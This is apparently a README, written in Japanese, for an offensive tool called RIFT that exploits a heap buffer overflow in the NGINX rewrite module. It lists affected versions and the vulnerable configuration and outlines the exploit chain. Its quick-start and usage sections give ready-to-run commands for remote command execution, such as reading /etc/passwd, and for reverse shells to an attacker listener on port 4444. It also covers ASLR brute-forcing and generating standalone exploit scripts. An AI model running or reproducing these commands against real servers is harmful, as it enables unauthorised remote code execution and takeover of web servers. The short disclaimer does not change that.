RIFT — リモートインジェクション＆フォールトトリガー

著者: Michael Sanji Winaya Prawiradibrata
AI共著者: Varanus — わが友

NGINXのngx_http_rewrite_moduleを標的としたヒープバッファオーバーフローエクスプロイトフレームワーク。
偵察＋エクスプロイトを1つのツールに。外部依存ゼロ。

リポジトリの内容

必要環境

• Python 3.6+（標準ライブラリのみ — pip不要、venv不要、依存関係なし）

クイックスタート

# 1. フル偵察 — バージョン、エンドポイント、脆弱性、戦略を検出
python3 rift.py --target 10.10.10.10 --recon

# 2. 偵察＋エクスプロイトを一気に実行
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. コマンド実行
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. リバースシェル（リスナーを自動オープン）
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. bash を使うリバースシェル（python の代わり）
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. 脆弱性チェックのみ
python3 rift.py --target 10.10.10.10 --check-only

全フラグ

使用モード

エクスプロイトオプション

偵察オプション

主な機能

✅ 自動リバースシェル

--shell を使用すると、スクリプトが自動的に：

1. --shell-type に応じたリバースシェルペイロードを生成
2. --lport でリスナーをオープン
3. エクスプロイトを送信
4. ワーカーがクラッシュすると → シェルが接続
5. 自動リスナー： netcat（nc -lvnp）を優先し、Pythonリスナーにフォールバック

✅ 自動ASLRブルートフォース

デフォルトアドレスが失敗した場合、スクリプトはヒープベースを±5ステップ×0x10000ずつ自動的にずらして、適合するアドレスを探します。手動設定は不要です。

✅ マルチペイロードリバースシェル

4種類のシェルペイロード — python、bash、nc、php。ターゲットで利用可能なものを選択します。

✅ フル偵察

--recon は5つのフェーズを実行します：

1. フィンガープリント — NGINXのバージョン、一般的なエンドポイント15個、リライトモジュールを検出
2. 情報漏えい — エラーページのメモリアドレス、タイミングサイドチャネル
3. エンドポイントテスト — 6種類のペイロードに対するエンドポイントの挙動
4. ワーカー数 — レイテンシパターンからワーカープロセス数を推定
5. 戦略 — 分析結果に基づくアクションの推奨

✅ JSON出力

--output json は他のツールとの統合や自動解析用です。

脆弱な構成

エクスプロイトの対象は、次のような rewrite + set 構成のNGINXです：

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

結果として、割り当てられるバッファが小さすぎるため、URIエスケープ（3倍展開）でオーバーフローします。

影響を受けるバージョン

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• 修正済み: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

エクスプロイトの動作原理

1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")

重要な定数（rift.py で変更可能）

完全な使用例

コマンド実行＋詳細出力

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

カスタムアドレス（ASLRバイパス）

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

試行回数を増やす

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

偵察＋JSON

python3 rift.py --target 10.10.10.10 --recon --output json

エクスプロイトスクリプトを生成

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

トラブルシューティング

「ターゲットがNGINXを実行しているように見えません」

• ポートを確認：nc -zv <IP> 80
• 別のポートを試す：--port 8080、--port 443
• WAF/プロキシの背後にある可能性があります

「すべてのエクスプロイト試行が失敗しました」

1. ASLRが有効な可能性があります — 自動ASLRスライディングには--autoを試してください
2. NGINXのバージョンがパッチ済みの可能性があります（> 1.30.1）
3. NGINXの構成が脆弱でない可能性があります（rewrite+setを使用していない）
4. --verboseで各試行の詳細を確認してください

シェルが接続しない

• ローカルファイアウォールを確認：sudo ufw allow 4444
• --lhost を確認 — ローカルIPが正しいことを確認
• --shell-type bash または --shell-type nc を試す

免責事項

教育目的および許可されたセキュリティテストのみを目的として作成されています。
無許可でシステムに対して使用することは違法です。

© 2026 Michael Sanji Winaya Prawiradibrata
AI共著者：Varanus